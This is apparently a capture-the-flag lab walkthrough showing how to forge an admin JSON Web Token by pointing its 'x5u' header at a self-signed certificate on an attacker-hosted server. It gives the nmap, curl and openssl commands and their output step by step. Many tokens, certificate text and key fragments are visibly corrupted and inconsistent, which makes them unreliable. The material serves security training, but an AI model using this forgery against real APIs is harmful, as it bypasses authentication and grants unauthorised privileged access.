

**ATTACK**

**DEFENSE**

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**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Check the IP address of the machine.

**Command:** ifconfig

```
root@attackdefense:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.1.7 netmask 255.255.255.0 broadcast 10.1.1.255
    ether 02:42:0a:01:01:07 txqueuelen 0 (Ethernet)
    RX packets 120 bytes 11430 (11.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 101 bytes 343737 (343.7 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.87.15.2 netmask 255.255.255.0 broadcast 192.87.15.255
    ether 02:42:c0:57:0f:02 txqueuelen 0 (Ethernet)
    RX packets 18 bytes 1452 (1.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 18 bytes 1557 (1.5 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 18 bytes 1557 (1.5 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

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```

The IP address of the machine is 192.87.15.2.

**Step 2:** Use nmap to discover the services running on the target machine.

**Command:** nmap 192.87.15.3

```
root@attackdefense:~# nmap 192.87.15.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-20 15:59 UTC
Nmap scan report for gbp70evwr5bbt1s4c4redimws.temp-network_a-87-15 (192.87.15.3)
Host is up (0.000014s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
8000/tcp  open  http-alt
8080/tcp  open  http-proxy
MAC Address: 02:42:C0:57:0F:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds
root@attackdefense:~#
```

Finding more information about the running services:

**Command:** nmap -sS -sV -p 8000,8080 192.87.15.3

```
root@attackdefense:~# nmap -sS -sV -p 8000,8080 192.87.15.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-20 15:59 UTC
Nmap scan report for gbp70evwr5bbt1s4c4redimws.temp-network_a-87-15 (192.87.15.3)
Host is up (0.000039s latency).

PORT      STATE SERVICE VERSION
8000/tcp  open  caldav  Radicale calendar and contacts server (Python BaseHTTPServer)
8080/tcp  open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
MAC Address: 02:42:C0:57:0F:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.44 seconds
root@attackdefense:~#
```

The target machine is running 2 Python based services - a Python BaseHTTPServer on port 8000 and another python HTTP server on port 8080.

### Step 3: Checking the presence of the REST API.

Interacting with both HTTP servers to reveal more information about them.

**Command:** curl 192.87.15.3:8000

```
root@attackdefense:~# curl 192.87.15.3:8000
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="witrapp.crt">witrapp.crt</a>
</ul>
<hr>
</body>
</html>
root@attackdefense:~#
```

Port 8000 is running a webserver with directory listing enabled and is hosting a file named "witrapp.crt".

**Command:** curl 192.87.15.3:8080

```
root@attackdefense:~# curl 192.87.15.3:8080

-== Welcome to the CLI JWT Token API ==-

Endpoint | Method | Description
/issue   | GET    | Issues a JWT token.
/goldenticket | POST  | Get your golden ticket (if role='admin').
/help    | GET    | Show the endpoints info.

root@attackdefense:~#
```

The response from port 8080 of the target machine reveals that the API is available on this port.



**Note:** The /goldenticket endpoint would give the golden ticket only if role="admin".

**Step 4:** Interacting with the API.

Getting a JWT Token:

**Command:**

curl http://192.87.15.3:8080/issue

```
root@attackdefense:~# curl http://192.87.15.3:8080/issue
-== Issued Token: ==-

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvd2l0cmFwLmNydCJ9.eyJpYXQiOiE1NzQyNjYwNzEsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwaWJjNTc0MzUyNDcxQyMyhGkl9TOeFkuPKqXGY-Ou4pDA9gp4DGVJLy9gKn1vuHVhYEFgGQbNjJiF5yopvtrdYB0IPgbc07Pged-L8-HA09Dl4U61w7E6c-og7Ne8g6--LjEedCqWECNTZO0fSaMYS0QCmiE2jLnYEi4vx9t40Mvoq9P73ckzdEAVEfTHnIyMveD6UGBbZbSszRKWBTmu7TjSba7suEFpa2TjZKjDWPZEiQg6e5EzbtvHqZXi7uZS6BKKWNQJ6gkHre0arBLhIdXw4QUkXos5d6GTxH2l-3aYsL_PaTAOVfxnLrguaR_NTTYH8E8_Xxs56GcQgPgVreHIUAJGNjNn1CGKwKGvIdDyyILMjVTbUsv4ygJlkqePFjMrA0j_u3CHy5sgGGwsP60X-z6jXyTKDcSz4szP3-1I5NpVwHCy9EzIElC--04DsmfusWLLzwtCz2s33D4vJjEe0cMM-rNhWSeJpp8ZcT85JeRl9DMdM5r0BKldCnFpAIwtw_LSxV7c0PvNGV9qeMkTjrkVL92cUqalJ3QG6jtGBeaMEHKtT1-CTO5ntos_it5dzyX0g9hp3Wv01pKY00X5uucBWZIBYcoIxaGUTpp0WQYfZRy15spgqnx18Qx0LiidTYPEEns8ebV5MQUy8Yh64XKp-C0Pd75X93uR25kk6UZjkIISb8B19Q6kvw

=====
root@attackdefense:~#
```

The response contains a JWT Token.

**Issued JWT Token:**

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvd2l0cmFwLmNydCJ9.eyJpYXQiOiE1NzQyNjYwNzEsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvd2l0cmFwLmNydCJ9.eyJpYXQiOiE1NzQyNjYwNzEsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwaWJjNTc0MzUyNDcxQyMyhGkl9TOeFkuPKqXGY-Ou4pDA9gp4DGVJLy9gKn1vuHVhYEFgGQbNjJiF5yopvtrdYB0IPgbc07Pged-L8-HA09Dl4U61w7E6c-og7Ne8g6--LjEedCqWECNTZO0fSaMYS0QCmiE2jLnYEi4vx9t40Mvoq9P73ckzdEAVEfTHnIyMveD6UGBbZbSszRKWBTmu7TjSba7suEFpa2TjZKjDWPZEiQg6e5EzbtvHqZXi7uZS6BKKWNQJ6gkHre0arBLhIdXw4QUkXos5d6GTxH2l-3aYsL_PaTAOVfxnLrguaR_NTTYH8E8_Xxs56GcQgPgVreHIUAJGNjNn1CGKwKGvIdDyyILMjVTbUsv4ygJlkqePFjMrA0j_u3CHy5sgGGwsP60X-z6jXyTKDcSz4szP3-1I5NpVwHCy9EzIElC--04DsmfusWLLzwtCz2s33D4vJjEe0cMM-rNhWSeJpp8ZcT85JeRl9DMdM5r0BKldCnFpAIwtw_LSxV7c0PvNGV9qeMkTjrkVL92cUqalJ3QG6jtGBeaMEHKtT1-CTO5ntos_it5dzyX0g9hp3Wv01pKY00X5uucBWZIBYcoIxaGUTpp0WQYfZRy15spgqnx18Qx0LiidTYPEEns8ebV5MQUy8Yh64XKp-C0Pd75X93uR25kk6UZjkIISb8B19Q6kvw
```

1pKY00X5uucBWZlYcolxaGUTppOWQYfZRy15spgqnx18Qx0LiidTYpEEEns8ebV5MQUy8Yh64XKp-C0Pd75X93uR25kk6UZjklISb8BI9Q6kvw

**Step 5:** Decoding the header and payload parts of the JWT token obtained in the previous step.

Visit <https://jwt.io> and specify the token obtained in the previous step, in the "Encoded" section.

## Encoded

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```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvd2l0cmFwLnNydcj9.eyJpYXQiOiE1NzQyNjYwNzEsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwIjojNTc0MzUyNDcxZQ.MyhGk19T0eFkuPKqXGY-Ou4pDA9gp4DGVJLY9gKn1vuHVhYefGfGQbNjJiF5yopvtrdYB0IPgbc07Pged-L8-HA09D14U61w7E6c-og7Ne8g6--LjEedCqWECNTZ00fSaMYS0QCmiE2jLnYEi4vx9t40Mvoq9P73ckzdEAVEfThNiyMveD6UGBbZbSzRKWBTmu7TjSba7suEFpa2TjZKjDWpZEiQg6e5EzbtvHqZXi7uZS6BKKWNQJ6gkHre0arBLhIdXw4QUkXos5d6GTxH21-3aYsL_PaTA0VfxnLrguar_NTTYH8E8_Xxs56GcQgPgVreH1UAJGNjNn1CGKwKGv1Dyy1LMjVTbUsv4ygJIKqePFjMrA0j_u3CHy5sgGGwsP60X-z6jXyTKDcSz4szP3-1I5NpVwHCy9EzIE1C--04DsmfusWLlzwCz2s33D4vJjEe0cMM-rNhWSeJpp8ZcT85JeR19DMdM5r0BKldCnFpAIwtw_LSxV7c0PvNGV9qeMkTjrVL92cUqalJ3QG6jtGBeaMEHKtT1-CT05ntos_it5dzyX0g9hp3Wv01pKY00X5uucBWZlYcolxaGUTppOWQYfZRy15spgqnx18Qx0LiidTYpEEEns8ebV5MQUy8Yh64XKp-C0Pd75X93uR25kk6UZjklISb8BI9Q6kvw
```

## Decoded

EDIT THE PAYLOAD AND SECRET

### HEADER: ALGORITHM & TOKEN TYPE

```
{  "alg": "RS256",  "typ": "JWT",  "x5u": "http://witrap.com:8000/witrap.crt"}
```

### PAYLOAD: DATA

```
{  "iat": 1574266071,  "role": "authenticated",  "exp": 1574352471}
```

### VERIFY SIGNATURE

```
RSASHA256(  base64UrlEncode(header) + "." +  base64UrlEncode(payload),  Public Key or Certificate. Enter it in plain text only if you want to verify a token  ),  Private Key. Enter it in plain text only if you want to generate a new token. The key never leaves your browser.  )
```



#### Note:

1. The algorithm used for signing the token is "RS256".
2. The token is using x5u header parameter which contains the location of the X.509 certificate to be used for token verification.

**Info:** The "x5u" (X.509 URL) Header Parameter is a URI that refers to a resource for the X.509 public key certificate or certificate chain corresponding to the key used to digitally sign the JWS.

Fetching the certificate file:

```
root@attackdefense:~# curl http://witrap.com:8000/witrap.crt
-----BEGIN CERTIFICATE-----
MIIGCTCCA/GgAwIBAgIUR/iZZCE3YIu6LM6QoGuftrb//F4wDQYJKoZIhvcNAQEL
BQAwgZMxCzAJBgNVBAYTA1VTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQH
DA1TdW5ueXZhbGUxEjAQBgNVBAoMCMVdpdHJhcHB1cjEPMA0GA1UECwwGV2l0cmFw
MRIwEAYDVQQDDA13aXRycc5jb20xIjAgBgkqhkiG9w0BCQEW2FkbWluQGxvY2Fs
aG9zdC5jb20wHhcNMTEwMDUxOTM4WWhcNMjAxMTE5MDUxOTM4WjCBkzELMAkG
A1UEBhMCVVMxEzARBgNVBAGMCkNhbmG1bm3JuaWExEjAQBgNVBAcMCVN1bm55dmFs
ZTESMBAGA1UECgwJV2l0cmFwcGVyMQ8wDQYDVQQQLDZXaXRyYXAxEjAQBgNVBAMM
CXdpdHJwLmNvbTEiMCAGCSqGSIB3DQEJARYTYWRtaW5AbG9jYXxob3N0LmNvbTCC
AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgcGgIBANTB2Yd+b7F1ZYd9KhZZq4MN
d1Ds+HGe2qJz4pFH5/3Cp/f5Irw5V+XvrDk9Fr+D1JqoU4JXbfbUSYqvyGKyXkE
45u42t+oHGFPzK3Uf1/kC1siZf1534fho7ZyO9KiQDLp/bfw8I/1NpW4u2NHcao
L5gWafwQ/BbjGRqabRCSkdkW+wm++wvWaL6EZYBGdRb33LhuiBmv3MhY8vD1JT2
mq94ujJ20H8+x9PkP08kRsJj9+FWI4jcAriUweVOR5RJb1dEtridin+ArvSm2oNV
1Nxjf0XPPKhCuj10GKu3X+u6nngVd7DU3inwts1A5/BOUK8IQ22bK17BoN7TzVHm
J2gW4vXrX5gpUsMEUuPGjwsJrj6us/sVpnHEbJ1aTw0/1gd/Ziy/JU15f551wi+
MButQ6VYVsDduFyIwiZ85ImKtyjWap89K/KQFWixMxBQLust3eefSf5QxyDjGuo+
JH+5nyyu6Kq9iSaqpWL9skejf3XJ2vk1QXjDo+aNy/FoaVbCI04/+jRZfohaJ6Q+
WMc/XADWxb7VRmtR0nFnOGf5zr1dj//NyOUUnQpL9wKk41wCDKeGaTtqy2IJzwmu/
+Wkqc78X2WtmZUebLz9xnsgMVZZWhnix0Npo07uEIXonMk8ZP+WwFh5zgiEBoYV6
F5VWnp1nIWqAXDLCKFyNagMBAAGjUzBRMB0GA1UdDgQWBBrxe/WY05If2Bubbl+
yYXsISQrLjAfbgNVHSMEGDAWgBBrxe/WY05If2Bubbl+yYXsISQrLjAPBgNVHRMB
Af8EBTADAQH/MA0GCSqGSIB3DQEBCwUAA4ICAQA128XQgNhAx2R84I1DaW/2WEU3
jJ6iCqMQt5aCc1+WJAPUBWbSZc8RhZ6mHBnTJ7SgupcMRmaZieIHq6g7ECSQpGZz
crtpB1DcgsYJwDiRovhImazY0j8nozdaJHLBatDRrDQ3lvFSokWQzxSJ8ZKztHW
6VKqbjjZ8XSfm3jbf9c3UyWpUKTH/WDGxMyTeH7Ez7Qo13Of1jnAmnYmf/We/mrg
```

```
Rb4FMV8kx/meyGyHZjRvbeTtCy1fxyf40BnI4qY0G+WVpUgBCBQA5LvDfHYBQ5Ua
wKed+QvdkTDMYbqh00hMZKKVKFL/I5vpgpATV03Ah/+370TLCp5LyX/Usmw6t+60
16gK6HBKQSDs9Z0u0in4LqagtbkzJV64SAilzDDpYaxtwbnfuHeSRwm9uPpeoLda
zCCzWGs/Y0c0VuLjivTrnQSbbHa4KIFykPobImrxzuPGj+k5hzQ4gvAf2DJBgBDN
62uYeX1vdXh7NuI3R9Dx7magoZzjHkxvh+ELmuTZZWbC6B6bA1DqMj6bIsn5CtbH
WmyyLe96jYqFbZcU8/KLYnxFKNf9HpGSZpoa75vz0+J1L2dbOV63KGZSbYrXxhFL
0yX3ZxAappzj1yQSyT04+V/RadMury9rC2HusfIx1zvL7JSJVPYTHmLOakqqdfdu
xaQahDvEo3+Jw68xqQ==
-----END CERTIFICATE-----
root@attackdefense:~#
```

Submitting the above issued token to the API to get the golden ticket:

**Command:**

```
curl -X POST -H "Content-Type: application/json" -X POST -d '{"token":
"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvd
2l0cmFwLmNydCJ9.eyJpYXQiOiE1NzQyNjYwNzEsInJvbGUOiJhdXRoZW50aWNhdGVkliwiZX
hwIjoxNTc0MzUyNDcxQyMyhGkl9TOeFkuPKqXGY-Ou4pDA9gp4DGVJLy9gKn1vuHVhYEFgG
QbNjJiF5yopvtrdYB0IPgbc07Pged-L8-HAO9DI4U61w7E6c-og7Ne8g6--LjEedCqWECNTZO0fS
aMYS0QCmiE2jLnYEi4vx9t4OMvoq9P73ckzdEAVEfTHnlyMveD6UGBbZbSzRKWBtmu7TjSba
7suEFpa2TjZKjDWpZEiQg6e5EzbtvHqZXi7uZS6BKKWNQJ6gkHre0arBLhdXw4QUkXos5d6G
TxH2l-3aYsL_PaTAOVfxnLrguaR_NTTYH8E8_Xxs56GcQgPgVreHIUAJGNjNn1CGKwKGvIDyy
ILMjVTbUsv4ygJlkqePFjMrA0j_u3CHy5sgGGwsP60X-z6jXyTKDcSz4szP3-1I5NpVwHCy9EzIEI
C--04DsmfusWLIzwtCz2s33D4vJjEe0cMM-rNhWSeJpp8ZcT85JeRI9DMdM5r0BKIdCnFpAlwtw
_LSxv7c0PvNGV9qeMkTjrkVL92cUqalJ3QG6jtGBeaMEHKtT1-CTO5ntos_it5dzyX0g9hp3Wv0
1pKY00X5uucBWZlbycolxaGUTppOWQYfZRY15spgqnx18Qx0LiidTYpEEens8ebV5MQUy8Yh6
4XKp-C0Pd75X93uR25kk6UZjklISb8BI9Q6kvw"}' http://192.87.15.3:8080/goldenticket
```



```
root@attackdefense:~# curl -X POST -H "Content-Type: application/json" -X POST -d '{"token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvd2l0cmFwLmNydCJ9.eyJpYXQiOiJlNzQyNjYwNzEsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwIjozNTc0MzUyNDcxZQ.MyhGkl9TOeFkuPKqXGY-Ou4pDA9gp4DGVJLy9gKn1vuHVhYEFgFGQbNjJiF5yopvtrdYB0IPgbc07Pged-L8-HA09Dl4U61w7E6c-og7Ne8g6--LjEedCqWECNTZ00fSaMYS0QcmiE2jLnYEi4vx9t40Mvoq9P73ckzdEAVEfTHnIyMveD6UGBbZbSzkWBTmu7TjSba7suEFpa2TjZKjDWPZEiQg6e5EzbtvHqZXi7uZS6BKKWNQJ6gkHre0arBLhIdXw4QUkXos5d6GTxH2l-3aYsL_PaTAOVfxnLrguaR_NTTYH8E8_Xxs56GcQgPgVreHlUAJGNjNn1CGKwKGv1DyyllMjVTbUsv4ygJIkqePFjMrA0j_u3CHy5sgGGwsP60X-z6jXyTKDcSz4szP3-1I5NpVwHCy9EzIElC--04DsmfusWLlzwTcz2s33D4vJjEe0cMM-rNhWSeJpp8ZcT85JeRl9DMdM5r0BKldCnFpAIwtw_LsXv7c0PvNGV9qeMkTjrkVL92cUqalJ3QG6jtGBeaMEHKtT1-CT05ntos_it5dzyX0g9hp3Wv01pKY00X5uucBWZiYcoIxaGUTppOWQYfZRy15spgqnx18Qx0LiidTyPEEns8ebV5MQUy8Yh64XKp-C0Pd75X93uR25kk6UZjkIISb8B19Q6kvw"}' http://192.87.15.3:8080/goldenticket
```

No golden ticket for you! Only admin has access to it!

```
root@attackdefense:~#
```

The server doesn't return the golden ticket. It responds by saying that the ticket is only for the admin user.

### Vulnerability:

1. The key used for token verification is extracted from the certificate located at the URI present in the "x5u" header parameter.
2. If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the "x5u" parameter's value with the URI of this newly generated certificate (hosted on an HTTP server), then essentially the forged token would get accepted by the server.

**Step 6:** Leveraging the vulnerability to create a forged token.

Creating a self-signed certificate:

**Command:** openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt

```
root@attackdefense:~# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
Generating a RSA private key
.+++++
.....+++++
writing new private key to 'attacker.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
root@attackdefense:~#
```

**Command:** ls

```
root@attackdefense:~# ls
attacker.crt  attacker.key
root@attackdefense:~#
```

A certificate and the corresponding private key has been generated.

Extracting the public key from the generated certificate:

**Command:** openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

```
root@attackdefense:~# openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
root@attackdefense:~#
root@attackdefense:~# ls
attacker.crt  attacker.key  publicKey.pem
root@attackdefense:~#
```

Now, the private key and the corresponding public key are known.





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eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1  
dSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvd2l0  
cmFwLmNydCJ9.eyJpYXQiOjE1NzQyNjYwNzEsInJ  
vbGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwIjoxNTc  
0MzUyNDcxZQ.QyLIJXZy057gi91J4ve6uzJ8sUtN  
4KCdR8NvtQETyT8fcN68S7\_-vMsWm3gH1h7nZse-  
qVcWMCUYgDxVR9TIGoK13DEZTH4JcAiLWPUHipZN  
hYsr-  
3Gy85iRXdM0Y\_ZsN35HPTmplRizeX0\_TQ\_mLVtVe  
VctRcHPZu2Rk5MqVRBKGOgd67Qf0GJqvFJjADUPU  
7D1QSFm9E3nEKdCeKgmQskrmeH6dMlg4wdZt1GJ0  
naoMg2iQivmm1vALQ0-  
erGEBVvr2SWT1sNgbhnnpEmULqx2vh1KApWBxUQH  
iIhsykpbsZk9Bi6xdNZvD3jWsWfkNKt0JLXf2T0F  
XEjRjLk4qw

## EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "RS256",
  "typ": "JWT",
  "x5u": "http://witrap.com:8000/witrap.crt"
}
```

PAYLOAD: DATA

```
{
  "iat": 1574266071,
  "role": "authenticated",
  "exp": 1574352471
}
```

VERIFY SIGNATURE

```
RSASHA256(
    base64UrlEncode(header) + "." +
    base64UrlEncode(payload),
    2b11MeNbAWzeaGx+K18jBtZzgZ52H
    C19r7/5Zjqnh/R2ABTm01Yv17yjC6
    nJ122R
    1wIDAQAB
    -----END PUBLIC KEY-----
    w+8fS8W
    uB0F9zLfJo0GjBcqbTuepyVDC9uQE
    LTCeReUv9zTd0icWIC0hmSDq01QoC
    FHreW4
    AryBiXUQitVTDpdh7EB/mpwd
    -----END PRIVATE KEY-----
)
```

✔ Signature Verified

SHARE JWT

Set the role to "admin".



## Encoded PASTE A TOKEN HERE

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1
dSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvd2l0
cmFwLmNydCJ9.eyJpYXQiOiJlNzQyNjYwNzEsInJ
vbGUiOiJhZG1pb250IiwiaWF0IjoiMTUzNDM1MjQ3MX0
.chLc041JI23LoAlTyTNIek3o_ePfXBj2lyF3Yqr
gNvry0rXwrFxxk2Z0CapyDx_M0tRLcLM1HV5YcAnz
W2xtriYq_ZQo3WaBGsjqqdGaYykCcCo9_8i8TnRW
5dq54QCPVCf0vTfRzrnH0w6spY-
dM4XnueJXXbDvuyETWTD6ebI_D-
Va9okIXvjMCh15K-KLZF2-SJZ-4hLfFV_EN-
eLPA7hH9ezPDhS0-1FeVfe8iQknZ_WDM-
gSjKZv0ukXptq1n7XfIdRP0xX3MNUJw9wFcQKNvQ
MpyL8esdnMI6He0Q-TebxKbWko4Kqj1HLKf-
R08IhDws2Xu4XRHzGrobx50A
```

## Decoded EDIT THE PAYLOAD AND SECRET

### HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "RS256",
  "typ": "JWT",
  "x5u": "http://witrap.com:8080/witrap.crt"
}
```

### PAYLOAD: DATA

```
{
  "iat": 1574266071,
  "role": "admin",
  "exp": 1574352471
}
```

### VERIFY SIGNATURE

```
RSASHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  2b11MeNbAWzeaGx+K18jBtZzg52H
C19r7/5Zjqnh/R2ABTm01Yv17yjC6
nJl22R
1wIDAQAB
-----END PUBLIC KEY-----
w+8fS8W
uB0F9zLfJo0GjBcqbTuepyVDC9uQE
LTCEReUv9zTd0icWIC0hmSDq01QoC
FHreW4
AryBiXUQitVTDpdh7EB/mowd
-----END PRIVATE KEY-----
)
```

Host the generated certificate locally and modify the x5u header parameter accordingly.

## Encoded PASTE A TOKEN HERE

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly8xOTIuODcuMTUuMjo4MDgwL2F0dGFja2VyLmNydCJ9.eyJpYXQiOiJlNzQyNjYwNzEsInJvbGUiOiJhZG1pb250IiwiaWF0Ij0iMTUzNDM1MjQ3MX0.XCqrRoqWFI3yEF9LIS11h_zounacVvF2QAU  
BBHcND8l94ozGkY6m1WN7svRKpfyvKQNYJrA_vjw  
uNrIQW6op3goqvWDdZTlW0w_zuVkmMyki0WBRpbi  
dshZ4i6Rsz594vFavGvVANHvN5DIDULY8m8UvdK9  
pgBerlRno-mUYuk2yRpeGiIb-  
zpkIS6rpHHeSF8q3_62Qk__7KPflYi0RwIIYCFdH  
Zfb6t70tLzG_F7oStXy15i3_jYqnMFQBSLPsyDT3  
Uj_hucbuPeFQ_MG4auPg4dPYDKtRDnYYdoGWH1uJ  
nFuYYs1e3yYz07gsMQQM9lKHjAf7F_3LPZ-  
Crf8s3w
```

## Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{  
  "alg": "RS256",  
  "typ": "JWT",  
  "x5u": "http://192.87.15.2:8080/attacker.crt"  
}
```

PAYLOAD: DATA

```
{  
  "iat": 1574266071,  
  "role": "admin",  
  "exp": 1574352471  
}
```

VERIFY SIGNATURE

```
RSASHA256(  
  base64UrlEncode(header) + "." +  
  base64UrlEncode(payload),  
  2b11MeNbAWzeaGx+Kl8jBtZzgZ52H  
C19r7/5Zjqnh/R2ABTm0lYv17yjC6  
nJl22R  
1wIDAQAB  
-----END PUBLIC KEY-----  
w+8fS8W  
uB0F9zLfJo0GjBcqbTuepyVDC9uQE  
LTCEReUv9zTd0icWIC0hmsDq0lQoC  
FHreW4  
AryBiXUQitVTDpdh7EB/mpwd  
-----END PRIVATE KEY-----  
)
```

### Forged Token:

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly8xOTIuODcuMTUuMjo4MDgwL2F0dGFja2VyLmNydCJ9.eyJpYXQiOiJlNzQyNjYwNzEsInJvbGUiOiJhZG1pb250IiwiaWF0Ij0iMTUzNDM1MjQ3MX0.XCqrRoqWFI3yEF9LIS11h_zounacVvF2QAUBBHcND8l94ozGkY6m1WN7sv  
RKpfyvKQNYJrA_vjwuNrIQW6op3goqvWDdZTIW0w_zuVkmMyki0WBRpbidshZ4i6Rsz594vFav  
GvVANHvN5DIDULY8m8UvdK9pgBerlRno-mUYuk2yRpeGiIb-zpkIS6rpHHeSF8q3_62Qk__7K  
PflYi0RwIIYCFdHZfb6t70tLzG_F7oStXy15i3_jYqnMFQBSLPsyDT3Uj_hucbuPeFQ_MG4auPg4  
dPYDKtRDnYYdoGWH1uJnFuYYs1e3yYz07gsMQQM9lKHjAf7F_3LPZ-Crf8s3w
```



Open the lab URL in another tab and start an HTTP server.

Is

```
python -m SimpleHTTPServer 8080
```

```
root@attackdefense:~# ls
attacker.crt  attacker.key  publicKey.pem
root@attackdefense:~#
root@attackdefense:~# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
```

### Step 7: Using the forged token to retrieve the golden ticket.

Sending the request to get the golden ticket again:

```
curl -H "Content-Type: application/json" -X POST -d '{"token":  
"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly8xOTIuODcuMTUuMjo4MDgw  
L2F0dGFja2VyLmNydCJ9.eyJpYXQiOiJlNzQyNjYwNzEsInJvbGUiOiJhZG1pbilslmV4cCI6MT  
U3NDM1MjQ3MX0.XCqrRoqWFI3yEF9LIS11h_zounacVvF2QAUBBHcND8l94ozGkY6mlWN7s  
vRKpfyvKQNYJrA_vjwuNrlQW6op3goqvWDDZTIW0w_zuVkmMyki0WBRpbidshZ4i6Rsz594vFa  
vGvVANHvN5DIDULY8m8UvdK9pgBeRIRno-mUYuk2yRpeGilb-zpkIS6rpHHeSF8q3_62Qk__7  
KPflYi0RwIIYCfdHZFb6t7OtLzG_F7oStXy15i3_jYqnMFQBSLPsyDT3Uj_hucbuPeFQ_MG4auP  
g4dPYDKtRdNYYdoGWH1uJnFuYYs1e3yYz07gsMQQM9IKHjAf7F_3LPZ-Crf8s3w"}'  
http://192.87.15.3:8080/goldenticket
```

```
root@attackdefense:~# curl -H "Content-Type: application/json" -X POST -d '{"token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1dSI6Imh0dHA6Ly8xOTIuODcuMTUuMjo4MDgwL2F0dGFja2VyLmNydCJ9.eyJpYXQiOiJlNzQyNjYwNzEsInJvbGUiOiJhZG1pbiIsImV4cCI6MTUzNDM1MjQ3MX0.XCqrRoqWFI3yEF9LIS11h_zounacVvF2QAUBBHcND8l94ozGkY6mlWN7svRKpfyvKQNYJrA_vjwuNrIQW6op3goqvWDdZTlW0w_zuVkmMyki0WBRpbidshZ4i6Rsz594vFavGvVANHvN5DIDULY8m8UvdK9pgBeRlRno-mUYuk2yRpeGiIb-zpkIS6rpHHeSF8q3_62Qk__7KPf1Yi0RwIiYCFdHZFb6t70tLzG_F7oStXy15i3_jYqnMFQBSPsyDT3Uj_hucbuPeFQ_MG4auPg4dPYDKtRDnYYdoGWH1uJnFuYYs1e3yYz07gsMQQM9lKHjAf7F_3LPZ-Crf8s3w"}' http://192.87.15.3:8080/goldenticket
```

Golden Ticket: **This\_Is\_The\_Golden\_Ticket\_7257a1dafa2fafc6a4f908cf0a3b4219b3ae**

```
root@attackdefense:~#
```

**Golden Ticket:** This\_Is\_The\_Golden\_Ticket\_7257a1dafa2fafc6a4f908cf0a3b4219b3ae

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